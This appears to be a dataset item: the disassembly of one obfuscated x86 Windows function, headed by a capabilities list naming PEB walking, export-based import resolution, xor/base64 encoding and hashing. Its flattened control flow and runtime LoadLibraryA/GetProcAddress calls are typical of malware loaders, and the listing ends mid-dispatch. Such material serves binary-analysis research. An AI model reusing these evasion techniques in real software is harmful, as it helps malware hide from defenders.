Function at 0x402960
Capabilities:
Access peb ldr_data
Authenticate hmac
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b8
mov eax, dword [0x4d4e40]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xbeaaac8a
and ecx, 0x20312a42
mov edx, eax
and edx, 0x41555375
or eax, 0x1d880020
or esi, edx
and eax, 0x9fccc5a9
mov edx, esi
xor esi, 0x1000020
xor edx, 0x20000
or ecx, eax
or esi, 0x8244c589
and edx, 0x40021014
and esi, 0x9fccc5a9
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x77b2a1a5
and eax, 0x884d5e5a
or ecx, eax
mov eax, ecx
xor ecx, 0x11c40066
xor eax, 0x2a38b191
mov edx, eax
and ecx, 0x3bcca1e7
and edx, 0xc4335e18
and eax, 0x7c1440d3
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xc4335e18
xor esi, 0xb8271ecb
xor edx, 0x22800040
and esi, ecx
or ecx, 1
and edx, 0xa2931058
or eax, esi
mov esi, eax
not esi
and eax, 0xa3a79e35
and esi, 0x5c5861ca
or eax, esi
mov esi, eax
xor esi, 0x20000018
xor eax, 0xdfb3dee7
mov edi, eax
or eax, ecx
and ecx, 0x5d6cefa7
and edi, 0x5d6cefa7
and esi, 0xa2931058
or edx, ecx
or esi, edi
not eax
mov ecx, dword [0x4d6178]
xor edx, esi
or eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0xc153048
and eax, 0x830ac717
and edx, 0x70e008a0
or esi, edx
xor esi, 0xc153048
or eax, esi
mov edx, eax
not edx
and eax, 0x2678bbe7
and edx, 0xd9874418
or eax, edx
mov edx, eax
xor edx, 0x50848106
xor eax, 0x40234e0
and eax, 0xe0b36e9
and edx, 0xf1f4c916
or edx, eax
mov eax, edx
xor eax, 0x80b00012
xor edx, 0x6031481
and edx, 0x7747dd85
and eax, 0x88b8227a
or eax, edx
mov edx, eax
xor edx, 0x1502d481
xor eax, 0x8182240
and eax, 0x6a5d2b44
and edx, 0x95a2d4bb
or edx, eax
mov eax, 0x9375358e
cmp edx, 0x95a2d4bb
sete byte [ebp - 0x71]
cmp ecx, 0xa
setl byte [ebp - 0x72]
jmp 0x402ce0
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x4d617c]
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8807d9ac
and eax, 0x2a144303
mov edx, ecx
and edx, 0x77f82653
or ecx, 0x21a470
or esi, edx
and ecx, 0x8421ac74
mov edx, esi
xor esi, 0x202450
xor edx, 0x21088
or eax, ecx
or esi, 0x84000804
and edx, 0x51ca1088
and esi, 0x8421ac74
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x4e0e4675
and ecx, 0xb1f1b98a
or eax, ecx
mov esi, eax
xor esi, 0x1fe5f28d
mov edi, eax
xor edi, 0x140
mov ecx, esi
or ecx, 0xb91aee2f
and edi, 0x62511c0
mov edx, ecx
and edx, 0x78c8a61c
or edi, edx
mov edx, eax
xor eax, 0x5900e35d
xor edx, 0x201a0d22
and eax, esi
and esi, 0xc44070d0
and edx, 0x3bbf8f2e
mov ebx, eax
not ebx
and eax, 0x873759e3
or edx, esi
or ecx, ebx
and ebx, 0x78c8a61c
or eax, ebx
not ecx
xor eax, edi
or ecx, eax
not eax
and eax, 0xb91aee2e
and ecx, 0x46e511d1
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x5a0307cd
mov esi, eax
and esi, 0xa5fcf832
or ecx, esi
mov esi, edx
xor esi, 0x1a03070c
xor edx, 0xc44070d1
or eax, edx
and edx, 0xa5fcf832
and esi, 0x5a0307cc
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x1de12e7f
mov ecx, eax
xor ecx, 0xfc2011f0
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x3dfee0f
and eax, 0xfc2011f0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x82ddafa2
and ecx, 0x7d22505d
or eax, ecx
mov ecx, eax
xor ecx, 0x824907a0
xor eax, 0x8204005
and eax, 0x8b4e807
and ecx, 0xf74b17f8
or ecx, eax
xor ecx, 0xf74b17f8
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setl al
setge cl
mov ch, al
and dl, al
or al, ah
and cl, ah
xor ch, ah
xor al, 1
or cl, dl
or al, ch
mov ch, al
mov edx, eax
xor ch, 1
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, al
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6d8f7574
cmovne eax, esi
test cl, cl
mov ecx, 0x6d8f7574
cmovne ecx, eax
test dl, dl
cmove ecx, eax
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0xfac646b6
jg 0x402d50
cmp eax, 0xc2b31fe8
jle 0x402e50
cmp eax, 0xd93d10f0
jle 0x4030d9
cmp eax, 0xea5902d0
jg 0x4033e0
cmp eax, 0xe331cf38
jle 0x403c1b
cmp eax, 0xe5cd284f
jle 0x4045eb
cmp eax, 0xe866ce60
jg 0x40608c
cmp eax, 0xe5cd2850
je 0x4085c8
cmp eax, 0xe66b6745
je 0x408756
cmp eax, 0xe7729560
jne 0x402ce0
mov eax, 0xf3bb6350
jmp 0x402ce0
cmp eax, 0x3f64f7a5
jg 0x402fd0
cmp eax, 0x1e4c3c6f
jg 0x40329e
cmp eax, 0xf599d77
jle 0x4035e1
cmp eax, 0x16f46bc3
jle 0x403c5c
cmp eax, 0x189aaa75
jle 0x404621
cmp eax, 0x1bae5f22
jg 0x4060e1
cmp eax, 0x189aaa76
je 0x4088fc
cmp eax, 0x1937f9b9
je 0x408906
cmp eax, 0x1b02b54d
jne 0x402ce0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x40000000
mov edi, edx
mov esi, ecx
and esi, 0x43884a48
and edi, 0xbc77b5b7
and edx, 0xbfa70bb
or edi, esi
mov esi, eax
xor esi, 0xbfffffff
and esi, eax
and eax, 0xf4058f44
mov ebx, esi
not ebx
and esi, 0xbc77b5b7
or eax, edx
or ecx, ebx
and ebx, 0x43884a48
xor eax, 0xf4058f44
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x7d395f3f
and esi, 0x82c6a0c0
or ecx, esi
xor ecx, 0x7d395f3f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf01c7b8b
and ecx, 0xfe38474
or eax, ecx
mov ecx, 0xc63da2f1
cmp eax, 0xf01c7b8b
mov eax, 0xc66e2c3d
cmove eax, ecx
jmp 0x402ce0
cmp eax, 0x9ca0fc75
jg 0x403312
cmp eax, 0x8e2edb1b
jle 0x4036e6
cmp eax, 0x9408735e
jle 0x403ca9
cmp eax, 0x96512d39
jle 0x404657
cmp eax, 0x9793d7f0
jg 0x40610f
cmp eax, 0x96512d3a
je 0x408910
cmp eax, 0x973dc649
je 0x408a97
cmp eax, 0x974d298b
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe86a8b32
and eax, 0x179574cd
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x25c81c8d
and eax, 0xda37e372
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xcda297be
xor eax, 0x325d6840
xor edx, 0x325d6841
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x8f161cd5
mov edi, eax
not edi
mov esi, ecx
and esi, 0x70e9e32a
and eax, 0x8f161cd5
or ecx, edi
and edi, 0x70e9e32a
or edx, esi
or eax, edi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x2fb4a5c0
andn ecx, ecx, ecx
and edx, 0xd04b5a3f
or eax, edx
xor eax, 0x2fb4a5c0
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x842e4406
and eax, 0x7bd1bbf9
or ecx, eax
cmp ecx, 0x7bd1bbf9
setne dl
cmp dword [0x4d6178], 0xa
setl al
setge ah
xor al, dl
and ah, dl
mov ecx, eax
xor cl, 1
or ah, cl
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ch, dl
mov ah, dl
xor ch, 1
and ah, ch
xor ah, 1
or ah, ch
or ch, al
xor ah, 1
mov al, ch
or ah, dl
mov edx, 0x2ce51214
xor ah, cl
xor al, ah
test ch, 1
mov ecx, 0x307ce929
cmovne ecx, edx
test ah, 1
cmove ecx, edx
test al, 1
mov eax, 0x307ce929
jmp 0x402ccf
cmp eax, 0x60111347
jg 0x403369
cmp eax, 0x51aa92ea
jle 0x40373d
cmp eax, 0x56bf00d9
jle 0x403d9b
cmp eax, 0x5ac2877f
jle 0x40468d
cmp eax, 0x5de8fdc6
jg 0x40613a
cmp eax, 0x5ac28780
je 0x408aad
cmp eax, 0x5b374177
je 0x408b68
cmp eax, 0x5b67a04b
jne 0x402ce0
mov eax, dword [ebp - 0xa0]
mov ecx, dword [0x4d617c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x366af5d6
mov ecx, edx
and ecx, 0xc9950a28
and edx, 0xeebdbbc1
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
and eax, 0x1142443e
xor esi, 0x366af5d6
or eax, edx
or ecx, esi
mov esi, 0x1f1d4e79
mov edx, eax
xor edx, 0x1142443e
xor eax, 0xeebdbbc1
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp dword [0x4d6178], 0xa
setl ah
setge al
or cl, ah
xor ah, dl
mov ch, ah
xor ch, al
xor al, dl
and ch, ah
and al, cl
xor ch, 1
xor al, 1
mov cl, ch
or cl, al
xor al, ch
mov edx, ecx
xor dl, al
mov edx, 0xe5005e30
cmovne edx, esi
test al, al
mov esi, 0xe5005e30
jmp 0x409f60
cmp eax, 0xccc20ed7
jle 0x4037b7
cmp eax, 0xd3bf90a0
jle 0x403ddc
cmp eax, 0xd5b0aa4a
jle 0x4046c3
cmp eax, 0xd7056960
jg 0x406296
cmp eax, 0xd5b0aa4b
je 0x408c1d
cmp eax, 0xd667c641
je 0x408c27
cmp eax, 0xd6d13ba9
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x10243484
and ecx, 0x8d580a10
mov edx, eax
and edx, 0x60008149
or eax, 0x6020b0c1
or esi, edx
and eax, 0x62a3f0e3
mov edx, esi
xor edx, 0x10040404
xor esi, 0x6283c063
or ecx, eax
and esi, 0x62a3f0e3
and edx, 0x1004050c
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x7024b5cd
and eax, 0x8fdb4a32
or ecx, eax
mov esi, ecx
not esi
mov edi, ecx
and edi, 0x58590891
and ecx, 0x2825fca
mov eax, esi
and eax, 0xa7a6f76e
or esi, 0x5138a020
or edi, eax
mov eax, edi
mov edx, edi
xor edx, 0x58590891
xor edi, 0xf69e574e
xor eax, 0xa7a6f76e
and edi, edx
and eax, 0xfffffffe
mov edx, edi
not edx
and edi, 0x2b2dfea
mov ebx, edx
or edx, esi
and ebx, 0xfd4d2015
and esi, 0xfd4d2015
or edi, ebx
or ecx, esi
not edx
xor ecx, edi
mov edi, 0xdb1c79a3
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xcddd0958
and ecx, 0x3222f6a7
or edx, ecx
xor edx, 0x9ce5a979
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x1c5952b8
and edx, 0xe3a6ad47
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe3a6ad47
or eax, esi
and esi, 0x1c5952b8
or ecx, esi
not eax
mov esi, 0xd667c641
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x257ab0be
mov edx, ecx
and edx, 0xda854f41
or eax, edx
xor eax, 0x257ab0be
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x4d6178], 0xa
setge ah
setl dl
mov cl, ah
and dl, al
or cl, al
inc al
and al, ah
xor cl, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xdb1c79a3
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmove eax, esi
jmp 0x402ce0
cmp eax, 0x2ca5af49
jle 0x4038cb
cmp eax, 0x317c227e
jle 0x403e29
cmp eax, 0x3620bb2c
jle 0x4046f9
cmp eax, 0x36bb714f
jg 0x4063ae
cmp eax, 0x3620bb2d
je 0x408ceb
cmp eax, 0x3657bbd8
je 0x408d00
cmp eax, 0x3672d246
jne 0x402ce0
mov eax, dword [ebp - 0x120]
mov ecx, 0x7c267116
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x40]
cmp dword [eax + 4], 0
mov eax, 0x521afb20
cmove eax, ecx
jmp 0x402ce0
cmp eax, 0xb49f107e
jle 0x403a1b
cmp eax, 0xb89b1d5f
jle 0x403e7c
cmp eax, 0xbf2d4824
jle 0x40472f
cmp eax, 0xc25a2956
jg 0x4063dc
cmp eax, 0xbf2d4825
je 0x408d16
cmp eax, 0xc032308a
je 0x408d38
cmp eax, 0xc0838546
jne 0x402ce0
mov eax, 0xb7dd24a0
jmp 0x402ce0
cmp eax, 0x70c343dc
jle 0x403bb7
cmp eax, 0x76067d64
jle 0x403ed4
cmp eax, 0x7a5de304
jle 0x404765
cmp eax, 0x7baa5271
jg 0x4065c4
cmp eax, 0x7a5de305
je 0x408d63
cmp eax, 0x7ae889dc
je 0x408d76
cmp eax, 0x7b1ad9a7
jne 0x402ce0
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x194], eax
mov eax, 0xae3953dd
jmp 0x402ce0
cmp eax, 0xf2aa4af1
jle 0x404057
cmp eax, 0xf597891a
jle 0x404c73
cmp eax, 0xf9313db9
jg 0x40669a
cmp eax, 0xf597891b
je 0x408ea2
cmp eax, 0xf79d9941
je 0x408eac
cmp eax, 0xf81f454d
jne 0x402ce0
push dword [ebp - 0x104]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
cmp dword [eax], 0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
setne byte [ebp - 0x77]
imul ecx, eax
mov esi, ecx
xor esi, 0x95432e7f
andn edx, ecx, esi
and esi, ecx
mov eax, esi
not eax
and esi, 0x6667e87d
mov edi, eax
and edi, 0x99981782
or esi, edi
mov edi, edx
not edi
and edx, 0x6667e87d
or eax, edi
and edi, 0x99981782
or edx, edi
not eax
mov edi, ecx
not edi
xor edx, esi
and edi, 0x86e289c9
or eax, edx
mov edx, eax
not edx
and eax, 0x39d91155
and edx, 0xc626eeaa
or eax, edx
mov edx, ecx
and edx, 0x791d7636
and ecx, 1
or edx, edi
mov esi, eax
xor esi, 0x122100d4
xor eax, 0xac9a3f2b
mov edi, edx
xor edi, 0x86e289c8
xor edx, 0x30090634
and esi, 0x36ab07f4
or ecx, edi
mov edi, eax
and edi, 0xc954f80b
and edx, 0x36ab07f4
or eax, ecx
and ecx, 0xc954f80b
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov edx, eax
xor edx, 0x41008fb1
mov ecx, eax
and ecx, 0x35acdae0
and edx, eax
not eax
and eax, 0xca53251f
or ecx, eax
mov eax, ecx
xor ecx, 0x40000511
xor eax, 0x1000280
mov esi, ecx
or esi, 0x86ef4044
and eax, 0x1000780
and esi, 0xc6efc875
or eax, esi
mov esi, edx
not esi
and edx, 0x3910378a
or ecx, esi
and esi, 0xc6efc875
or edx, esi
not ecx
mov esi, 0x64ac32ed
xor edx, eax
or ecx, edx
not edx
and edx, 0xbeff704e
and ecx, 0x41008fb1
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe30ba0f6
mov edx, eax
and edx, 0x1cf45f09
or ecx, edx
xor ecx, 0xe30ba0f6
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setl al
mov ecx, eax
xor dl, al
or al, ah
xor cl, ah
mov ah, dl
xor ah, al
or al, dl
xor cl, 1
xor al, 1
or al, ah
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or al, cl
or dl, ah
xor dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x88e24513
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x88e24513
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0x892d201
jle 0x4040a6
cmp eax, 0xcf6990e
jle 0x404ce4
cmp eax, 0xe646bd9
jg 0x4067db
cmp eax, 0xcf6990f
je 0x40965b
cmp eax, 0xd391d18
je 0x409665
cmp eax, 0xdcb2365
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x69409a59
and ecx, 0x96bf65a6
or edx, ecx
xor edx, 0x69409a59
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0x332d5f72
mov esi, edx
and esi, 0xccd2a08d
or ecx, esi
mov esi, eax
not esi
and eax, 0x332d5f72
or edx, esi
and esi, 0xccd2a08d
or eax, esi
not edx
mov esi, 0x26946e66
xor eax, ecx
or edx, eax
xor edx, 0xffffffff
sete al
setne cl
cmp dword [0x4d6178], 0xa
setl ah
setge ch
and ah, al
and cl, ch
xor al, ch
or ah, cl
mov dl, ah
xor dl, ch
and dl, ah
mov ah, al
mov ecx, edx
not ah
xor cl, al
and al, dl
and cl, dl
xor dl, 1
and dl, ah
or al, dl
mov edx, ecx
xor dl, al
mov edx, 0xb0deb849
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x402ce0
cmp eax, 0x874ab031
jg 0x404286
cmp eax, 0x84980db6
jg 0x404d20
cmp eax, 0x82de89a9
jle 0x406811
cmp eax, 0x82de89aa
je 0x409678
cmp eax, 0x82ea4dc1
je 0x4096a6
cmp eax, 0x83e9f0d5
jne 0x402ce0
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, 0x2ddfec1f
jmp 0x402ce0
cmp eax, 0x4b8685f7
jg 0x4042d3
cmp eax, 0x43e7e671
jg 0x404ee8
cmp eax, 0x41b64794
jle 0x4068f3
cmp eax, 0x41b64795
je 0x40979e
cmp eax, 0x428c3658
je 0x4097b6
cmp eax, 0x42f25f94
jne 0x402ce0
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
add eax, dword [ecx]
mov dword [ebp - 0xf8], eax
mov eax, 0xb6682665
jmp 0x402ce0
cmp eax, 0xc7953e6d
jg 0x4043f3
cmp eax, 0xc5a398bf
jg 0x404f24
cmp eax, 0xc513f179
jle 0x4069c9
cmp eax, 0xc513f17a
je 0x4097cc
cmp eax, 0xc51deaa8
je 0x4099c9
cmp eax, 0xc5691458
jne 0x402ce0
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov edx, dword [eax + ecx*4]
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x7ff80000
mov eax, ecx
and eax, 0x80070000
and ecx, 0xb658aaf5
or esi, eax
movzx eax, dx
xor esi, 0x7ff80000
or eax, esi
mov esi, eax
not esi
and eax, 0x42671d3d
and esi, 0xbd98e2c2
or eax, esi
mov esi, eax
xor esi, 0x2400835
xor eax, 0xbd98e2c2
mov edi, eax
or eax, edx
and edx, 0x49a7550a
and edi, 0x49a7550a
and esi, 0xb658aaf5
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7fa78635
and ecx, 0x805879ca
or eax, ecx
mov ecx, dword [ebp - 0x5c]
xor eax, 0x7fa78635
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
cmp dword [eax], 0
mov eax, 0x973dc649
setne byte [ebp - 0x78]
jmp 0x402ce0
cmp eax, 0x26659ec3
jg 0x4044f8
cmp eax, 0x238c8f9a
jg 0x405086
cmp eax, 0x201a52e6
jle 0x406a85
cmp eax, 0x201a52e7
je 0x4099de
cmp eax, 0x20905812
je 0x409adf
cmp eax, 0x211dd47d
jne 0x402ce0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x10c]
mov edi, 0x52f7d913
mov dword [ecx + eax], edx
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x949b6162
and eax, 0x6b649e9d
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x6264808c
xor edx, 0x949b6162
xor ecx, 0x949b6163
and ecx, edx
and eax, 0x727ce08c
and edx, 0x8d831f73
or edx, eax
mov eax, ecx
not eax
and ecx, 0xf03532a1
mov esi, eax
and esi, 0xfcacd5e
or ecx, esi
mov esi, edx
xor esi, 0x80011220
xor edx, 0x727ce08d
or eax, edx
and edx, 0xfcacd5e
and esi, 0xf03532a1
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x84980db7
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x28a4498c
and ecx, 0xd75bb673
or ecx, edx
xor ecx, 0x28a4498c
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setl al
setge cl
mov ch, al
xor al, ah
or ch, ah
or ah, cl
inc cl
or cl, dl
mov dl, ah
not ch
xor dl, cl
or cl, ah
or al, ch
xor cl, 1
or cl, dl
mov edx, 0x52f7d913
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xac]
cmove edi, edx
mov eax, edi
jmp 0x402ce0
cmp eax, 0xab9e458d
jg 0x40453f
cmp eax, 0xa0980fdc
jg 0x405251
cmp eax, 0x9e54f57e
jle 0x406aab
cmp eax, 0x9e54f57f
je 0x409b30
cmp eax, 0x9e5a0512
je 0x409b53
cmp eax, 0xa07758d2
jne 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xf3bc8e9b
and ecx, 0xc437164
or ecx, edx
mov eax, ecx
xor ecx, 0xc437164
xor eax, 0xf3bc8e9b
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xf6bf0d62
and eax, 0x41400030
mov edx, ecx
and edx, 0x940f29d
or ecx, 0x9623e100
or esi, edx
and ecx, 0x96bbefc8
mov edx, esi
xor esi, 0xe000
xor edx, 0x20040002
or eax, ecx
or esi, 0x980ec8
and edx, 0x28041007
and esi, 0x96bbefc8
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x5e63fd57
and ecx, 0xa19c02a8
or eax, ecx
mov ecx, eax
xor ecx, 0xe0040c10
xor eax, 0x1c389089
and eax, 0x1c7890c9
and ecx, 0xe3876f36
or ecx, eax
mov eax, ecx
xor eax, 0xc0804f36
xor ecx, 0x100080c9
and ecx, 0x3307a0c9
and eax, 0xccf85f36
or eax, ecx
mov ecx, eax
xor ecx, 0x12022008
xor eax, 0x44e81332
and eax, 0x65ed93f3
and ecx, 0x9a126c0c
or ecx, eax
cmp ecx, 0x9a126c0c
sete al
cmp dword [0x4d6178], 0xa
setl dl
mov ecx, edx
or dl, al
xor cl, al
mov eax, ecx
and al, dl
xor dl, 1
or dl, cl
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, cl
and cl, dl
xor ah, 1
and al, ah
or ah, dl
mov edx, 0xe646bda
or al, cl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0x1bae5f23
cmovne ecx, edx
test ah, 1
mov edx, 0x1bae5f23
cmovne edx, ecx
jmp 0x403d94
cmp eax, 0x6c8b2b5b
jg 0x404598
cmp eax, 0x6a39d04b
jg 0x405287
cmp eax, 0x64ac32ec
jle 0x406b90
cmp eax, 0x64ac32ed
je 0x409b5d
cmp eax, 0x672deabd
je 0x409b7e
cmp eax, 0x687a55b9
jne 0x402ce0
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x4c]
inc eax
mov dword [ecx], eax
mov eax, 0x71f1fc1c
jmp 0x402ce0
cmp eax, 0xdbae5918
jg 0x4052cb
cmp eax, 0xd9e31d91
jle 0x406bb0
cmp eax, 0xd9e31d92
je 0x409b8e
cmp eax, 0xd9e4e12f
je 0x409c3b
cmp eax, 0xdb1c79a3
jne 0x402ce0
mov eax, 0xd667c641
jmp 0x402ce0
cmp eax, 0x139b9f0e
jg 0x40530d
cmp eax, 0x11e3778b
jle 0x406d6d
cmp eax, 0x11e3778c
je 0x409c77
cmp eax, 0x12006b4e
je 0x409c81
cmp eax, 0x1396dacf
jne 0x402ce0
cmp byte [ebp - 0x74], 0
mov eax, 0x892d202
mov ecx, 0x6ed15711
cmovne eax, ecx
jmp 0x402ce0
cmp eax, 0x8f88c865
jg 0x40534e
cmp eax, 0x8ef1dccd
jle 0x406d8d
cmp eax, 0x8ef1dcce
je 0x409d57
cmp eax, 0x8f073158
je 0x409eb3
cmp eax, 0x8f2f6616
jne 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2f9013a0
and eax, 0x595271e
mov esi, ecx
and esi, 0xd06fec5e
or edx, esi
mov esi, edx
xor esi, 0x21800200
xor edx, 0xd04da859
and edx, 0xde5db9f9
and esi, 0x21a24606
or esi, edx
mov edx, ecx
or edx, 0xde5db9f8
and ecx, 0xfa6ad8e1
and edx, 0xde5db9f9
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x595271e
xor eax, 0xfa6ad8e1
mov esi, 0xecbea865
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x4d6178], 0xa
setl dl
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
mov ah, cl
xor al, cl
xor ah, 1
and al, cl
and ah, dl
or ah, cl
mov ecx, eax
xor cl, ah
mov ecx, 0xc513f17a
cmovne ecx, esi
test ah, ah
mov edx, ecx
cmovne edx, esi
test al, al
jmp 0x40cd59
cmp eax, 0x5326924d
jg 0x40538d
cmp eax, 0x521afb1f
jle 0x406eb2
cmp eax, 0x521afb20
je 0x409ed7
cmp eax, 0x529c800b
je 0x409f6a
cmp eax, 0x52f7d913
jne 0x402ce0
mov eax, 0xd9880975
jmp 0x402ce0
cmp eax, 0xd0beeeff
jg 0x40555f
cmp eax, 0xcded1ba8
jle 0x406fc8
cmp eax, 0xcded1ba9
je 0x409f83
cmp eax, 0xce81cd70
je 0x40a0a8
cmp eax, 0xcf82c562
jne 0x402ce0
cmp byte [ebp - 0x7c], 0
mov eax, 0x2d3d7f8c
mov ecx, 0x4fed65b5
cmovne eax, ecx
jmp 0x402ce0
cmp eax, 0x2eeb7ece
jg 0x405598
cmp eax, 0x2d3d7f8b
jle 0x406fe8
cmp eax, 0x2d3d7f8c
je 0x40a0be
cmp eax, 0x2d4e930b
je 0x40a157
cmp eax, 0x2ddfec1f
